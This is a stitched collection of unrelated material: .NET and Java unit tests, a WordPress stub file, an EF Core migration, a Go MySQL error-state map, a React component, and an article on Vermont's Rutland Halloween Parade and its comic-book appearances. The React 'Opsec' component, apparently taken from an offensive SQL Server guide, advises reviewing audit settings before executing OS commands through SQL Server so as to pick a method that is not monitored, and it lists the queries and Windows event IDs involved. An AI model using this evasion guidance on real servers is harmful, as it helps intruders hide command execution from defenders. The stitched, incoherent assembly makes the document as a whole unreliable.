ICliTemplateEngineHost host = CliTestHostFactory.GetVirtualHost();
IEngineEnvironmentSettings settings = new EngineEnvironmentSettings(host, virtualizeSettings: true);
TemplatePackageManager templatePackageManager = A.Fake<TemplatePackageManager>();
var packageCoordinator = new TemplatePackageCoordinator(settings, templatePackageManager);
BufferedReporter bufferedReporter = new();
var localPackage = A.Fake<IManagedTemplatePackage>();
A.CallTo(() => localPackage.Identifier).Returns("testPackage");
A.CallTo(() => localPackage.GetDetails())
.Returns(new Dictionary<string, string>
{
{ "Author", "Microsoft" },
{ "NuGetSource", "ANuGetSource" }
});
packageCoordinator.DisplayLocalPackageMetadata(localPackage, bufferedReporter);
bufferedReporter.Lines.Should()
.Contain("testPackage")
.And.Contain($" {LocalizableStrings.DetailsCommand_Property_Authors}:")
.And.Contain(" Microsoft")
.And.Contain($" {LocalizableStrings.DetailsCommand_Property_RepoUrl}: ANuGetSource");
}
[Fact]
public void DisplayLocalPackageMetadata_NoData()
{
ICliTemplateEngineHost host = CliTestHostFactory.GetVirtualHost();
IEngineEnvironmentSettings settings = new EngineEnvironmentSettings(host, virtualizeSettings: true);
TemplatePackageManager templatePackageManager = A.Fake<TemplatePackageManager>();
var packageCoordinator = new TemplatePackageCoordinator(settings, templatePackageManager);
BufferedReporter bufferedReporter = new();
var localPackage = A.Fake<IManagedTemplatePackage>();
A.CallTo(() => localPackage.Identifier).Returns("testPackage");
A.CallTo(() => localPackage.GetDetails())
.Returns(new Dictionary<string, string> { });
packageCoordinator.DisplayLocalPackageMetadata(localPackage, bufferedReporter);
bufferedReporter.Lines.Should()
.ContainSingle("testPackage");
}
[Fact]
public void DisplayNuGetPackageMetadata()
{
ICliTemplateEngineHost host = CliTestHostFactory.GetVirtualHost();
IEngineEnvironmentSettings settings = new EngineEnvironmentSettings(host, virtualizeSettings: true);
TemplatePackageManager templatePackageManager = A.Fake<TemplatePackageManager>();
var packageCoordinator = new TemplatePackageCoordinator(settings, templatePackageManager);
BufferedReporter bufferedReporter = new();
var version = new NuGetVersion("1.5.24");
var identity = new PackageIdentity("PackageId", version);
var searchMetadata = A.Fake<IPackageSearchMetadata>();
A.CallTo(() => searchMetadata.Authors).Returns("PackageAuthor");
A.CallTo(() => searchMetadata.Identity).Returns(identity);
A.CallTo(() => searchMetadata.Description).Returns("This is the package description");
A.CallTo(() => searchMetadata.ProjectUrl).Returns(new Uri("path_to_url"));
var extraMetadata = A.Fake<IPackageSearchMetadata>();
A.CallTo(() => extraMetadata.Owners).Returns("packageOwner");
var source = new PackageSource("packageSource");
var nugetPackage = new NugetPackageMetadata(
source,
searchMetadata,
extraMetadata);
packageCoordinator.DisplayNuGetPackageMetadata(nugetPackage, bufferedReporter);
bufferedReporter.Lines.Should()
.Contain("PackageId")
.And.Contain(" Package version: 1.5.24")
.And.Contain($" {LocalizableStrings.DetailsCommand_Property_Description}: This is the package description")
.And.Contain($" {LocalizableStrings.DetailsCommand_Property_Authors}:")
.And.Contain(" PackageAuthor")
.And.Contain($" {LocalizableStrings.DetailsCommand_Property_Owners}:")
.And.Contain(" path_to_url")
.And.Contain($" {LocalizableStrings.DetailsCommand_Property_RepoUrl}: path_to_url")
.And.NotContain($" {LocalizableStrings.DetailsCommand_Property_PrefixReserved}: true");
}
[Fact]
public void DisplayNuGetPackageMetadata_PrefixReserved()
{
ICliTemplateEngineHost host = CliTestHostFactory.GetVirtualHost();
IEngineEnvironmentSettings settings = new EngineEnvironmentSettings(host, virtualizeSettings: true);
TemplatePackageManager templatePackageManager = A.Fake<TemplatePackageManager>();
var packageCoordinator = new TemplatePackageCoordinator(settings, templatePackageManager);
BufferedReporter bufferedReporter = new();
var version = new NuGetVersion("1.5.24");
var identity = new PackageIdentity("PackageId", version);
var searchMetadata = A.Fake<IPackageSearchMetadata>();
A.CallTo(() => searchMetadata.Authors).Returns("PackageAuthor");
A.CallTo(() => searchMetadata.Identity).Returns(identity);
A.CallTo(() => searchMetadata.Description).Returns("This is the package description");
A.CallTo(() => searchMetadata.ProjectUrl).Returns(new Uri("path_to_url"));
var extraMetadata = A.Fake<IPackageSearchMetadata>();
A.CallTo(() => extraMetadata.Owners).Returns("packageOwner");
A.CallTo(() => extraMetadata.PrefixReserved).Returns(true);
var source = new PackageSource("path_to_url");
var nugetPackage = new NugetPackageMetadata(
source,
searchMetadata,
extraMetadata);
packageCoordinator.DisplayNuGetPackageMetadata(nugetPackage, bufferedReporter);
bufferedReporter.Lines.Should()
.Contain("PackageId")
.And.Contain(" Package version: 1.5.24")
.And.Contain($" {LocalizableStrings.DetailsCommand_Property_Description}: This is the package description")
.And.Contain($" {LocalizableStrings.DetailsCommand_Property_Authors}:")
.And.Contain(" PackageAuthor")
.And.Contain($" {LocalizableStrings.DetailsCommand_Property_Owners}:")
.And.Contain(" path_to_url")
.And.Contain($" {LocalizableStrings.DetailsCommand_Property_RepoUrl}: path_to_url")
.And.Contain($" {LocalizableStrings.DetailsCommand_Property_PrefixReserved}: True");
}
[Fact]
public void DisplayNuGetPackageMetadata_MultipleAuthors()
{
ICliTemplateEngineHost host = CliTestHostFactory.GetVirtualHost();
IEngineEnvironmentSettings settings = new EngineEnvironmentSettings(host, virtualizeSettings: true);
TemplatePackageManager templatePackageManager = A.Fake<TemplatePackageManager>();
var packageCoordinator = new TemplatePackageCoordinator(settings, templatePackageManager);
BufferedReporter bufferedReporter = new();
var version = new NuGetVersion("1.5.24");
var identity = new PackageIdentity("PackageId", version);
var searchMetadata = A.Fake<IPackageSearchMetadata>();
A.CallTo(() => searchMetadata.Authors).Returns("author1, author2, author3");
A.CallTo(() => searchMetadata.Identity).Returns(identity);
A.CallTo(() => searchMetadata.Description).Returns("This is the package description");
A.CallTo(() => searchMetadata.ProjectUrl).Returns(new Uri("path_to_url"));
var extraMetadata = A.Fake<IPackageSearchMetadata>();
A.CallTo(() => extraMetadata.Owners).Returns("packageOwner");
A.CallTo(() => extraMetadata.PrefixReserved).Returns(true);
var source = new PackageSource("packageSource");
var nugetPackage = new NugetPackageMetadata(
source,
searchMetadata,
extraMetadata);
packageCoordinator.DisplayNuGetPackageMetadata(nugetPackage, bufferedReporter);
bufferedReporter.Lines.Should()
.Contain("PackageId")
.And.Contain(" Package version: 1.5.24")
.And.Contain($" {LocalizableStrings.DetailsCommand_Property_Description}: This is the package description")
.And.Contain($" {LocalizableStrings.DetailsCommand_Property_Authors}:")
.And.Contain(" author1")
.And.Contain(" author2")
.And.Contain(" author3");
}
[Fact]
public void DisplayNuGetPackageMetadata_MultipleOwners()
{
ICliTemplateEngineHost host = CliTestHostFactory.GetVirtualHost();
IEngineEnvironmentSettings settings = new EngineEnvironmentSettings(host, virtualizeSettings: true);
TemplatePackageManager templatePackageManager = A.Fake<TemplatePackageManager>();
var packageCoordinator = new TemplatePackageCoordinator(settings, templatePackageManager);
BufferedReporter bufferedReporter = new();
var version = new NuGetVersion("1.5.24");
var identity = new PackageIdentity("PackageId", version);
var searchMetadata = A.Fake<IPackageSearchMetadata>();
A.CallTo(() => searchMetadata.Authors).Returns("PackageAuthor");
A.CallTo(() => searchMetadata.Identity).Returns(identity);
A.CallTo(() => searchMetadata.Description).Returns("This is the package description");
A.CallTo(() => searchMetadata.ProjectUrl).Returns(new Uri("path_to_url"));
var extraMetadata = A.Fake<IPackageSearchMetadata>();
A.CallTo(() => extraMetadata.Owners).Returns("owner1, owner2");
A.CallTo(() => extraMetadata.PrefixReserved).Returns(true);
var source = new PackageSource("packageSource");
var nugetPackage = new NugetPackageMetadata(
source,
searchMetadata,
extraMetadata);
packageCoordinator.DisplayNuGetPackageMetadata(nugetPackage, bufferedReporter);
bufferedReporter.Lines.Should()
.Contain("PackageId")
.And.Contain(" Package version: 1.5.24")
.And.Contain($" {LocalizableStrings.DetailsCommand_Property_Description}: This is the package description")
.And.Contain($" {LocalizableStrings.DetailsCommand_Property_Owners}:")
.And.Contain(" path_to_url")
.And.Contain(" path_to_url");
}
}
}
```
|
```php
<?php
/**
* Deprecated. No longer needed.
*
* @package WordPress
*/
_deprecated_file( basename(__FILE__), '2.1', null, __( 'This file no longer needs to be included.' ) );
```
|
```java
/*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*
*/
package com.ctrip.framework.apollo.biz.service;
import com.ctrip.framework.apollo.biz.AbstractUnitTest;
import com.ctrip.framework.apollo.biz.MockBeanFactory;
import com.ctrip.framework.apollo.biz.entity.Namespace;
import com.ctrip.framework.apollo.biz.repository.NamespaceRepository;
import com.ctrip.framework.apollo.common.entity.AppNamespace;
import com.ctrip.framework.apollo.common.exception.BadRequestException;
import com.ctrip.framework.apollo.core.ConfigConsts;
import org.junit.Test;
import org.mockito.InjectMocks;
import org.mockito.Mock;
import org.mockito.Spy;
import org.springframework.data.domain.PageRequest;
import org.springframework.data.domain.Pageable;
import java.util.Arrays;
import java.util.List;
import static org.junit.Assert.assertEquals;
import static org.mockito.Mockito.doReturn;
import static org.mockito.Mockito.when;
public class NamespaceServiceTest extends AbstractUnitTest {
@Mock
private AppNamespaceService appNamespaceService;
@Mock
private NamespaceRepository namespaceRepository;
@Spy
@InjectMocks
private NamespaceService namespaceService;
private String testPublicAppNamespace = "publicAppNamespace";
@Test(expected = BadRequestException.class)
public void testFindPublicAppNamespaceWithWrongNamespace() {
Pageable page = PageRequest.of(0, 10);
when(appNamespaceService.findPublicNamespaceByName(testPublicAppNamespace)).thenReturn(null);
namespaceService.findPublicAppNamespaceAllNamespaces(testPublicAppNamespace, page);
}
@Test
public void testFindPublicAppNamespace() {
AppNamespace publicAppNamespace = MockBeanFactory.mockAppNamespace(null, testPublicAppNamespace, true);
when(appNamespaceService.findPublicNamespaceByName(testPublicAppNamespace)).thenReturn(publicAppNamespace);
Namespace firstParentNamespace =
MockBeanFactory.mockNamespace("app", ConfigConsts.CLUSTER_NAME_DEFAULT, testPublicAppNamespace);
Namespace secondParentNamespace =
MockBeanFactory.mockNamespace("app1", ConfigConsts.CLUSTER_NAME_DEFAULT, testPublicAppNamespace);
Pageable page = PageRequest.of(0, 10);
when(namespaceRepository.findByNamespaceName(testPublicAppNamespace, page))
.thenReturn(Arrays.asList(firstParentNamespace, secondParentNamespace));
doReturn(false).when(namespaceService).isChildNamespace(firstParentNamespace);
doReturn(false).when(namespaceService).isChildNamespace(secondParentNamespace);
List<Namespace> namespaces = namespaceService.findPublicAppNamespaceAllNamespaces(testPublicAppNamespace, page);
assertEquals(2, namespaces.size());
}
}
```
|
```smalltalk
using System;
using Microsoft.EntityFrameworkCore.Migrations;
namespace Volo.BloggingTestApp.EntityFrameworkCore.Migrations
{
public partial class Added_BlogId_To_Tags : Migration
{
protected override void Up(MigrationBuilder migrationBuilder)
{
migrationBuilder.AddColumn<Guid>(
name: "BlogId",
table: "BlgTags",
nullable: false,
defaultValue: new Guid("00000000-0000-0000-0000-000000000000"));
}
protected override void Down(MigrationBuilder migrationBuilder)
{
migrationBuilder.DropColumn(
name: "BlogId",
table: "BlgTags");
}
}
}
```
|
```go
package mysql
const (
DEFAULT_MYSQL_STATE = "HY000"
)
var MySQLState = map[uint16]string{
ER_DUP_KEY: "23000",
ER_OUTOFMEMORY: "HY001",
ER_OUT_OF_SORTMEMORY: "HY001",
ER_CON_COUNT_ERROR: "08004",
ER_BAD_HOST_ERROR: "08S01",
ER_HANDSHAKE_ERROR: "08S01",
ER_DBACCESS_DENIED_ERROR: "42000",
ER_ACCESS_DENIED_ERROR: "28000",
ER_NO_DB_ERROR: "3D000",
ER_UNKNOWN_COM_ERROR: "08S01",
ER_BAD_NULL_ERROR: "23000",
ER_BAD_DB_ERROR: "42000",
ER_TABLE_EXISTS_ERROR: "42S01",
ER_BAD_TABLE_ERROR: "42S02",
ER_NON_UNIQ_ERROR: "23000",
ER_SERVER_SHUTDOWN: "08S01",
ER_BAD_FIELD_ERROR: "42S22",
ER_WRONG_FIELD_WITH_GROUP: "42000",
ER_WRONG_SUM_SELECT: "42000",
ER_WRONG_GROUP_FIELD: "42000",
ER_WRONG_VALUE_COUNT: "21S01",
ER_TOO_LONG_IDENT: "42000",
ER_DUP_FIELDNAME: "42S21",
ER_DUP_KEYNAME: "42000",
ER_DUP_ENTRY: "23000",
ER_WRONG_FIELD_SPEC: "42000",
ER_PARSE_ERROR: "42000",
ER_EMPTY_QUERY: "42000",
ER_NONUNIQ_TABLE: "42000",
ER_INVALID_DEFAULT: "42000",
ER_MULTIPLE_PRI_KEY: "42000",
ER_TOO_MANY_KEYS: "42000",
ER_TOO_MANY_KEY_PARTS: "42000",
ER_TOO_LONG_KEY: "42000",
ER_KEY_COLUMN_DOES_NOT_EXITS: "42000",
ER_BLOB_USED_AS_KEY: "42000",
ER_TOO_BIG_FIELDLENGTH: "42000",
ER_WRONG_AUTO_KEY: "42000",
ER_FORCING_CLOSE: "08S01",
ER_IPSOCK_ERROR: "08S01",
ER_NO_SUCH_INDEX: "42S12",
ER_WRONG_FIELD_TERMINATORS: "42000",
ER_BLOBS_AND_NO_TERMINATED: "42000",
ER_CANT_REMOVE_ALL_FIELDS: "42000",
ER_CANT_DROP_FIELD_OR_KEY: "42000",
ER_BLOB_CANT_HAVE_DEFAULT: "42000",
ER_WRONG_DB_NAME: "42000",
ER_WRONG_TABLE_NAME: "42000",
ER_TOO_BIG_SELECT: "42000",
ER_UNKNOWN_PROCEDURE: "42000",
ER_WRONG_PARAMCOUNT_TO_PROCEDURE: "42000",
ER_UNKNOWN_TABLE: "42S02",
ER_FIELD_SPECIFIED_TWICE: "42000",
ER_UNSUPPORTED_EXTENSION: "42000",
ER_TABLE_MUST_HAVE_COLUMNS: "42000",
ER_UNKNOWN_CHARACTER_SET: "42000",
ER_TOO_BIG_ROWSIZE: "42000",
ER_WRONG_OUTER_JOIN: "42000",
ER_NULL_COLUMN_IN_INDEX: "42000",
ER_PASSWORD_ANONYMOUS_USER: "42000",
ER_PASSWORD_NOT_ALLOWED: "42000",
ER_PASSWORD_NO_MATCH: "42000",
ER_WRONG_VALUE_COUNT_ON_ROW: "21S01",
ER_INVALID_USE_OF_NULL: "22004",
ER_REGEXP_ERROR: "42000",
ER_MIX_OF_GROUP_FUNC_AND_FIELDS: "42000",
ER_NONEXISTING_GRANT: "42000",
ER_TABLEACCESS_DENIED_ERROR: "42000",
ER_COLUMNACCESS_DENIED_ERROR: "42000",
ER_ILLEGAL_GRANT_FOR_TABLE: "42000",
ER_GRANT_WRONG_HOST_OR_USER: "42000",
ER_NO_SUCH_TABLE: "42S02",
ER_NONEXISTING_TABLE_GRANT: "42000",
ER_NOT_ALLOWED_COMMAND: "42000",
ER_SYNTAX_ERROR: "42000",
ER_ABORTING_CONNECTION: "08S01",
ER_NET_PACKET_TOO_LARGE: "08S01",
ER_NET_READ_ERROR_FROM_PIPE: "08S01",
ER_NET_FCNTL_ERROR: "08S01",
ER_NET_PACKETS_OUT_OF_ORDER: "08S01",
ER_NET_UNCOMPRESS_ERROR: "08S01",
ER_NET_READ_ERROR: "08S01",
ER_NET_READ_INTERRUPTED: "08S01",
ER_NET_ERROR_ON_WRITE: "08S01",
ER_NET_WRITE_INTERRUPTED: "08S01",
ER_TOO_LONG_STRING: "42000",
ER_TABLE_CANT_HANDLE_BLOB: "42000",
ER_TABLE_CANT_HANDLE_AUTO_INCREMENT: "42000",
ER_WRONG_COLUMN_NAME: "42000",
ER_WRONG_KEY_COLUMN: "42000",
ER_DUP_UNIQUE: "23000",
ER_BLOB_KEY_WITHOUT_LENGTH: "42000",
ER_PRIMARY_CANT_HAVE_NULL: "42000",
ER_TOO_MANY_ROWS: "42000",
ER_REQUIRES_PRIMARY_KEY: "42000",
ER_KEY_DOES_NOT_EXITS: "42000",
ER_CHECK_NO_SUCH_TABLE: "42000",
ER_CHECK_NOT_IMPLEMENTED: "42000",
ER_CANT_DO_THIS_DURING_AN_TRANSACTION: "25000",
ER_NEW_ABORTING_CONNECTION: "08S01",
ER_MASTER_NET_READ: "08S01",
ER_MASTER_NET_WRITE: "08S01",
ER_TOO_MANY_USER_CONNECTIONS: "42000",
ER_READ_ONLY_TRANSACTION: "25000",
ER_NO_PERMISSION_TO_CREATE_USER: "42000",
ER_LOCK_DEADLOCK: "40001",
ER_NO_REFERENCED_ROW: "23000",
ER_ROW_IS_REFERENCED: "23000",
ER_CONNECT_TO_MASTER: "08S01",
ER_WRONG_NUMBER_OF_COLUMNS_IN_SELECT: "21000",
ER_USER_LIMIT_REACHED: "42000",
ER_SPECIFIC_ACCESS_DENIED_ERROR: "42000",
ER_NO_DEFAULT: "42000",
ER_WRONG_VALUE_FOR_VAR: "42000",
ER_WRONG_TYPE_FOR_VAR: "42000",
ER_CANT_USE_OPTION_HERE: "42000",
ER_NOT_SUPPORTED_YET: "42000",
ER_WRONG_FK_DEF: "42000",
ER_OPERAND_COLUMNS: "21000",
ER_SUBQUERY_NO_1_ROW: "21000",
ER_ILLEGAL_REFERENCE: "42S22",
ER_DERIVED_MUST_HAVE_ALIAS: "42000",
ER_SELECT_REDUCED: "01000",
ER_TABLENAME_NOT_ALLOWED_HERE: "42000",
ER_NOT_SUPPORTED_AUTH_MODE: "08004",
ER_SPATIAL_CANT_HAVE_NULL: "42000",
ER_COLLATION_CHARSET_MISMATCH: "42000",
ER_WARN_TOO_FEW_RECORDS: "01000",
ER_WARN_TOO_MANY_RECORDS: "01000",
ER_WARN_NULL_TO_NOTNULL: "22004",
ER_WARN_DATA_OUT_OF_RANGE: "22003",
WARN_DATA_TRUNCATED: "01000",
ER_WRONG_NAME_FOR_INDEX: "42000",
ER_WRONG_NAME_FOR_CATALOG: "42000",
ER_UNKNOWN_STORAGE_ENGINE: "42000",
ER_TRUNCATED_WRONG_VALUE: "22007",
ER_SP_NO_RECURSIVE_CREATE: "2F003",
ER_SP_ALREADY_EXISTS: "42000",
ER_SP_DOES_NOT_EXIST: "42000",
ER_SP_LILABEL_MISMATCH: "42000",
ER_SP_LABEL_REDEFINE: "42000",
ER_SP_LABEL_MISMATCH: "42000",
ER_SP_UNINIT_VAR: "01000",
ER_SP_BADSELECT: "0A000",
ER_SP_BADRETURN: "42000",
ER_SP_BADSTATEMENT: "0A000",
ER_UPDATE_LOG_DEPRECATED_IGNORED: "42000",
ER_UPDATE_LOG_DEPRECATED_TRANSLATED: "42000",
ER_QUERY_INTERRUPTED: "70100",
ER_SP_WRONG_NO_OF_ARGS: "42000",
ER_SP_COND_MISMATCH: "42000",
ER_SP_NORETURN: "42000",
ER_SP_NORETURNEND: "2F005",
ER_SP_BAD_CURSOR_QUERY: "42000",
ER_SP_BAD_CURSOR_SELECT: "42000",
ER_SP_CURSOR_MISMATCH: "42000",
ER_SP_CURSOR_ALREADY_OPEN: "24000",
ER_SP_CURSOR_NOT_OPEN: "24000",
ER_SP_UNDECLARED_VAR: "42000",
ER_SP_FETCH_NO_DATA: "02000",
ER_SP_DUP_PARAM: "42000",
ER_SP_DUP_VAR: "42000",
ER_SP_DUP_COND: "42000",
ER_SP_DUP_CURS: "42000",
ER_SP_SUBSELECT_NYI: "0A000",
ER_STMT_NOT_ALLOWED_IN_SF_OR_TRG: "0A000",
ER_SP_VARCOND_AFTER_CURSHNDLR: "42000",
ER_SP_CURSOR_AFTER_HANDLER: "42000",
ER_SP_CASE_NOT_FOUND: "20000",
ER_DIVISION_BY_ZERO: "22012",
ER_ILLEGAL_VALUE_FOR_TYPE: "22007",
ER_PROCACCESS_DENIED_ERROR: "42000",
ER_XAER_NOTA: "XAE04",
ER_XAER_INVAL: "XAE05",
ER_XAER_RMFAIL: "XAE07",
ER_XAER_OUTSIDE: "XAE09",
ER_XAER_RMERR: "XAE03",
ER_XA_RBROLLBACK: "XA100",
ER_NONEXISTING_PROC_GRANT: "42000",
ER_DATA_TOO_LONG: "22001",
ER_SP_BAD_SQLSTATE: "42000",
ER_CANT_CREATE_USER_WITH_GRANT: "42000",
ER_SP_DUP_HANDLER: "42000",
ER_SP_NOT_VAR_ARG: "42000",
ER_SP_NO_RETSET: "0A000",
ER_CANT_CREATE_GEOMETRY_OBJECT: "22003",
ER_TOO_BIG_SCALE: "42000",
ER_TOO_BIG_PRECISION: "42000",
ER_M_BIGGER_THAN_D: "42000",
ER_TOO_LONG_BODY: "42000",
ER_TOO_BIG_DISPLAYWIDTH: "42000",
ER_XAER_DUPID: "XAE08",
ER_DATETIME_FUNCTION_OVERFLOW: "22008",
ER_ROW_IS_REFERENCED_2: "23000",
ER_NO_REFERENCED_ROW_2: "23000",
ER_SP_BAD_VAR_SHADOW: "42000",
ER_SP_WRONG_NAME: "42000",
ER_SP_NO_AGGREGATE: "42000",
ER_MAX_PREPARED_STMT_COUNT_REACHED: "42000",
ER_NON_GROUPING_FIELD_USED: "42000",
ER_FOREIGN_DUPLICATE_KEY_OLD_UNUSED: "23000",
ER_CANT_CHANGE_TX_CHARACTERISTICS: "25001",
ER_WRONG_PARAMCOUNT_TO_NATIVE_FCT: "42000",
ER_WRONG_PARAMETERS_TO_NATIVE_FCT: "42000",
ER_WRONG_PARAMETERS_TO_STORED_FCT: "42000",
ER_DUP_ENTRY_WITH_KEY_NAME: "23000",
ER_XA_RBTIMEOUT: "XA106",
ER_XA_RBDEADLOCK: "XA102",
ER_FUNC_INEXISTENT_NAME_COLLISION: "42000",
ER_DUP_SIGNAL_SET: "42000",
ER_SIGNAL_WARN: "01000",
ER_SIGNAL_NOT_FOUND: "02000",
ER_SIGNAL_EXCEPTION: "HY000",
ER_RESIGNAL_WITHOUT_ACTIVE_HANDLER: "0K000",
ER_SPATIAL_MUST_HAVE_GEOM_COL: "42000",
ER_DATA_OUT_OF_RANGE: "22003",
ER_ACCESS_DENIED_NO_PASSWORD_ERROR: "28000",
ER_TRUNCATE_ILLEGAL_FK: "42000",
ER_DA_INVALID_CONDITION_NUMBER: "35000",
ER_FOREIGN_DUPLICATE_KEY_WITH_CHILD_INFO: "23000",
ER_FOREIGN_DUPLICATE_KEY_WITHOUT_CHILD_INFO: "23000",
ER_CANT_EXECUTE_IN_READ_ONLY_TRANSACTION: "25006",
ER_ALTER_OPERATION_NOT_SUPPORTED: "0A000",
ER_ALTER_OPERATION_NOT_SUPPORTED_REASON: "0A000",
ER_DUP_UNKNOWN_IN_INDEX: "23000",
}
```
|
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
Prior to executing operating system commands through SQL Server,
review the audit configuration and choose a command execution
method that is not being monitored.
</p>
<p>View audits:</p>
<pre>
<code>{'SELECT * FROM sys.dm_server_audit_status'}</code>
</pre>
<p>View server specifications:</p>
<pre>
<code>
{'SELECT audit_id, \n' +
'a.name as audit_name, \n' +
's.name as server_specification_name, \n' +
'd.audit_action_name, \n' +
's.is_state_enabled, \n' +
'd.is_group, \n' +
'd.audit_action_id, \n' +
's.create_date, \n' +
's.modify_date \n' +
'FROM sys.server_audits AS a \n' +
'JOIN sys.server_audit_specifications AS s \n' +
'ON a.audit_guid = s.audit_guid \n' +
'JOIN sys.server_audit_specification_details AS d \n' +
'ON s.server_specification_id = d.server_specification_id'}
</code>
</pre>
<p>View database specifications:</p>
<pre>
<code>
{'SELECT a.audit_id, \n' +
'a.name as audit_name, \n' +
's.name as database_specification_name, \n' +
'd.audit_action_name, \n' +
'd.major_id,\n' +
'OBJECT_NAME(d.major_id) as object,\n' +
's.is_state_enabled, \n' +
'd.is_group, s.create_date, \n' +
's.modify_date, \n' +
'd.audited_result \n' +
'FROM sys.server_audits AS a \n' +
'JOIN sys.database_audit_specifications AS s \n' +
'ON a.audit_guid = s.audit_guid \n' +
'JOIN sys.database_audit_specification_details AS d \n' +
'ON s.database_specification_id = d.database_specification_id'}
</code>
</pre>
<p>
If server audit specifications are configured on the SQL Server,
event ID 15457 logs may be created in the Windows Application
log when SQL Server level configurations are changed to
facilitate OS command execution.
</p>
<p>
If database audit specifications are configured on the SQL
Server, event ID 33205 logs may be created in the Windows
Application log when Agent and database level configuration
changes are made.
</p>
<p>
A summary of the what will show up in the logs, along with the
TSQL queries for viewing and configuring audit configurations
can be found at
<a>
path_to_url
</a>
.
</p>
<p>Author: Scott Sutherland</p>
</>
);
};
export default Opsec;
```
|
The Rutland Halloween Parade is an annual event held on (or around) Halloween in the city of Rutland, Vermont, since 1960. The parade has a strong superhero theme and has been the setting for a number of fictional comic book adventures. Local officials maintain that it is one of the largest and longest running Halloween parades in the United States.
History
Tom Fagan (1932–2008), a local writer and comic book fan, is credited with having a hand in the parade's early development and superhero theme. The parade began as an annual tradition in 1959; Fagan had letters and text pieces promoting the parade published in a number of DC and Marvel titles, including DC's Detective Comics #327 (May 1964) and Marvel's Avengers #88 (May 1971). According to a 2006 Boston Globe article, "in 1965 ... the Joker, Plastic Man, and Dr. Strange were roaming the streets of Rutland, along with Batman (presumably Fagan, but like Bruce Wayne, the Caped Crusader wouldn't divulge his identity). More comic book heroes appeared every year. ... " According to a 2008 Comics Buyer's Guide obituary of Fagan ...
The 2006 Boston Globe story explains that "... Fagan was friends with many comic book authors and artists, most of whom hailed from New York. Fagan persuaded some of them to take part in the Rutland Halloween Parade in comic book character costumes. Many creators stayed as guests at Fagan's 24-room mansion outside of Rutland, which has since become the Antique Mansion Bed & Breakfast. Comic book creators known to have attended the parade over the years include Steve Englehart, Gerry Conway, Marv Wolfman, Bernie Wrightson, Dennis O'Neil, Roy Thomas, Alan Weiss, Wendy and Richard Pini, Dave Cockrum, and Len Wein.
After Fagan
By the mid-2000s Fagan was no longer directly involved in the planning of the parade. The popular event continued nonetheless, with Fagan and a close personal friend of the 'inner circle', attending as a guest in 2006 and 2007, sitting with the judges. Fagan had planned to attend the parade in 2008 but died on October 21 of that year. An article eulogizing Fagan in the Rutland Herald stated "Without Tom, there wouldn't be a Halloween parade in Rutland. ... That's his legacy." The parade celebrated its 50th anniversary in 2009.
Appearances in comics
In the 1970s, the Rutland Halloween Parade achieved a degree of fame when it was used as the setting of a number of superhero comic books, in titles published by industry rivals DC Comics and Marvel Comics. The first appearance of the parade was in Avengers #83, published by Marvel with a cover-date of December 1970; this was followed by DC's Batman #237, with a cover-date of December 1971.
Tom Fagan was himself featured as a character in a number of stories, usually depicted as an acquaintance of the title characters. Due to the nature of the masquerade parade, these issues often saw people dressed as Marvel heroes appearing in DC publications, and vice versa, marking some of the first (unofficial) intercompany crossovers in comics. Caution was exercised, however, over widespread use of the competition's characters — Fagan (who in real life typically hosted the parade dressed as Batman), was usually drawn as Nighthawk in Marvel-published Rutland Halloween stories.
In the fall of 1972, writers Steve Englehart, Gerry Conway, and Len Wein crafted a loose three-part story spanning titles from both companies. Each comic featured Englehart, Conway, and Wein (and Wein's first wife Glynis) interacting with Fagan and Marvel or DC villains (and heroes). Beginning in Amazing Adventures #16 (by Englehart with art by Bob Brown and Frank McLaughlin), the Beast hitches a ride from Englehart, who is driving the Weins and Conway to Rutland. The story terminates after Juggernaut attempts to steal Englehart's car. The action continues in Justice League of America #103 (by Wein, Dick Dillin and Dick Giordano), with Batman and other JLAers wind up leading the parade while attempting to capture Felix Faust. Faust ultimately steals Englehart's car, but is pulled over by the police. In the third part of the unofficial crossover, Thor #207 (by Conway, John Buscema, and Vince Colletta), the three comics creators (and one wife) again visit Fagan, during which visit Englehart's car is stolen by the unseen and unmentioned DC villain Felix Faust, as shown in JLA #103.
In the letters page of What If? #22 (August 1980), a reader asked, "Does Rutland, Vermont, annually become a nexus of realities similar to that existing in the swamp near Citrusville, Florida?" Marvel editor Mark Gruenwald, writing as The Watcher, responded, "While the nexus in Citrusville is a natural aperture, the nexus near Rutland is an artificial one that fluctuates in size and accessibility. For reasons that I have not investigated, it has not been opened in recent years."
In 1986, the parade again appeared in WaRP Graphics' Thunderbunny #5. The town of Rutland was portrayed in DC's Animal Man #50 (1992), but not the Halloween parade itself. Most recently, the parade was featured in Marvel Comic's Generation X #22 (1996) and Superboy and the Ravers #16 (1997) from DC Comics.
Chronological list of appearances
note: Not all of these appearances feature the Halloween Parade. Some feature Tom Fagan and some simply the town of Rutland.
Avengers #83 — "Come On In, The Revolution's Fine!" by Roy Thomas, John Buscema, and Tom Palmer (Marvel, Dec. 1970)
Batman #237 — "Night of the Reaper!" by Dennis O'Neil, Neal Adams, and Dick Giordano (DC, Dec. 1971)
Marvel Feature #2 — "Nightmare on Bald Mountain!" by Roy Thomas, Ross Andru, and Sal Buscema (Marvel, Mar. 1972)
Thor #206 — "Rebirth!" by Gerry Conway, John Buscema, and Vince Colletta (Marvel, Dec. 1972)
Justice League of America #103 — "A Stranger Walks among Us!" by Len Wein, Dick Dillin, and Dick Giordano (DC, Dec. 1972)
Amazing Adventures #16 — "...And the Juggernaut Will Get You ... If You Don't Watch Out!" by Steve Englehart, Marie Severin, Bob Brown, and Frank McLaughlin (Marvel, Jan. 1973)
Thor #207 — "Firesword!" by Gerry Conway, John Buscema, and Vince Colletta (Marvel, Jan. 1973)
Avengers #119 — "Night of The Collector," by Steve Englehart, Bob Brown, and Don Heck (Marvel, Jan. 1974)
Thor #232 — "Lo, the Raging Battle!" by Gerry Conway, John Buscema, Dick Giordano, and Terry Austin (Marvel, Feb. 1975)
The Occult files of Dr. Spektor #18 — "Masque Macabre," by Donald F. Glut and Jesse Santos (Gold Key, Dec. 1975)
Freedom Fighters #6 — "Witching Hour for the Warrior Wizards!" by Bob Rozakis, Ramona Fradon, and Bob Smith (DC, Jan./Feb. 1977)
Justice League of America #145 — "The Carnival of Souls!" by Steve Englehart, Dick Dillin, and Frank McLaughlin (DC, Aug. 1977)
DC Super Stars #18 — "The Gargoyles," by Martin Pasko, Romeo Tanghal, and Dick Giordano (DC, Jan./Feb. 1978)
